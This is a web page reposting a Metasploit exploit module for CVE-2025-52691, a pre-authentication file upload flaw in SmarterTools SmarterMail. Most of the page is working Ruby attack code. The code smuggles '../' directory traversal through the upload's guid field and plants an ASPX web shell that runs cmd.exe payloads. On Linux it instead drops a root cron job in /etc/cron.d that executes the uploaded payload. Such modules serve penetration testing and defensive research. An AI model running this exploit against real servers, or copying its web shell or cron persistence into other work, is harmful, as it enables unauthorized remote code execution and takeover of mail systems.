SmarterTools SmarterMail GUID File Upload
SmarterTools SmarterMail GUID File Upload
SmarterTools SmarterMail GUID File Upload

##
# This module requires Metasploit: https://metasploit.com/download
# SmarterTools SmarterMail GUID File Upload

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HTTP::Smartermail
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'SmarterTools SmarterMail GUID File Upload Vulnerability',
'Description' => %q{
This module exploits a pre-auth remote code execution vulnerability in SmarterTools SmarterMail before version 100.0.9413.
The endpoint /api/upload fails to sanitize the contextData POST parameter which can contain JSON data with a
"guid" key that allows directory traversal. By leveraging this vulnerability, an unauthenticated attacker can
upload a malicious ASPX web shell to the server's web root directory, leading to remote code execution.
},
'Author' => [
'Piotr Bazydlo', # PoC write up
'Sina Kheirkhah', # PoC write up
'jheysel-r7' # module
],
'References' => [
[ 'URL', 'https://labs.watchtowr.com/do-smart-people-ever-say-theyre-smart-smartertools-smartermail-pre-auth-rce-cve-2025-52691/'],
[ 'CVE', '2025-52691']
],
'License' => MSF_LICENSE,
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Type' => :nix,
'BadChars' => "'",
'DefaultOptions' => {
'WfsDelay' => 70
}
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win,
'BadChars' => '"'
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-10-09',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'The path of a backdoor shell', '']),
OptInt.new('DEPTH', [true, 'Traversal Depth', 15]),
OptInt.new('WEB_ROOT_RPORT', [true, 'The port in which the webroot is served on. Note on Windows this is different from the modules\'s RPORT', 80], conditions: %w[TARGET == 1]),
OptString.new('TARGET_DIR', [false, 'Directory to place the payload, on Windows this defaults to the WebRoot, on Linux/Unix it defaults to /tmp which gets called by a cron job', nil])
]
)
end

def windows_payload_wrapper
vars = Rex::RandomIdentifier::Generator.new

<<~EOF
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
ProcessStartInfo #{vars[:process_start_info]} = new ProcessStartInfo();
#{vars[:process_start_info]}.FileName = "cmd.exe";
#{vars[:process_start_info]}.Arguments = "/c "+ @"#{payload.encoded}";
#{vars[:process_start_info]}.RedirectStandardOutput = true;
#{vars[:process_start_info]}.UseShellExecute = false;
Process #{vars[:process]} = Process.Start(#{vars[:process_start_info]});
}
</script>
EOF
end

def check
check_version('100.0.9413')
end

def upload_payload(target_dir, filename, payload_contents)
post_data = Rex::MIME::Message.new
resumable_filename = Rex::Text.rand_text_alpha(4..8)
resumable_filename += '.aspx' if target['Platform'] == 'win' # the resumableFilename is where the file extension is taken from

post_data.add_part('attachment', nil, nil, 'form-data; name="context"')
post_data.add_part(filename, nil, nil, 'form-data; name="resumableIdentifier"')
post_data.add_part(resumable_filename, nil, nil, 'form-data; name="resumableFilename"')
post_data.add_part("{\"guid\":\"dag/#{'../' * datastore['DEPTH']}#{target_dir}/#{filename}\"}", 'application/json', nil, 'form-data; name="contextData"')
post_data.add_part(payload_contents, 'application/octet-stream', nil, "form-data; name=\"#{Faker::Name.first_name}\"; filename=\"#{Faker::File.file_name(dir: '').gsub('/', '')}\"")

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'upload'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
)

fail_with(Failure::UnexpectedReply, 'File upload failed') unless res && res.code == 200
json_output = res.get_json_document
fail_with(Failure::UnexpectedReply, 'Unable to parse filename, cannot continue') unless json_output.key?('key')
json_output['key'] =~ %r{([^/]+)$}
uploaded_filename = Regexp.last_match(1)
print_good("The uploaded payload file is named: #{uploaded_filename}")
uploaded_filename
end

def exploit
payload_name = Rex::Text.rand_text_alpha(4..8)
if target['Platform'] == 'win'
target_dir = datastore['TARGET_DIR'].blank? ? '/inetpub/wwwroot' : datastore['TARGET_DIR']
print_status("Uploading payload to #{target_dir}...")
uploaded_filename = upload_payload(target_dir, payload_name, windows_payload_wrapper)
register_file_for_cleanup("#{target_dir}/#{uploaded_filename}")

datastore['RPORT'] = datastore['WEB_ROOT_RPORT']
send_request_cgi(
'uri' => normalize_uri(target_uri.path, uploaded_filename),
'method' => 'GET'
)
else
target_dir = datastore['TARGET_DIR'].blank? ? '/tmp' : datastore['TARGET_DIR']
print_status("Uploading payload to #{target_dir}...")
uploaded_filename = upload_payload(target_dir, payload_name, payload.encoded)
register_file_for_cleanup("#{target_dir}/#{uploaded_filename}")

payload_path = "#{target_dir}/#{uploaded_filename}"
cron_command = "chmod +x #{payload_path} && #{payload_path}&"
cron_contents = "* * * * * root /bin/bash -c '#{cron_command}'\n"
cron_filename = Rex::Text.rand_text_alpha(8..12)
cron_target_dir = '/etc/cron.d'
print_status('Uploading cronjob to call payload...')
uploaded_cron_filename = upload_payload(cron_target_dir, cron_filename, cron_contents)
register_file_for_cleanup("#{cron_target_dir}/#{uploaded_cron_filename}")
end
end
end
Social Media Share
About Contact Terms of Use Privacy Policy
© Khalil Shreateh — Cybersecurity Researcher & White-Hat Hacker — Palestine 🇵🇸
All content is for educational purposes only. Unauthorized use of any information on this site is strictly prohibited.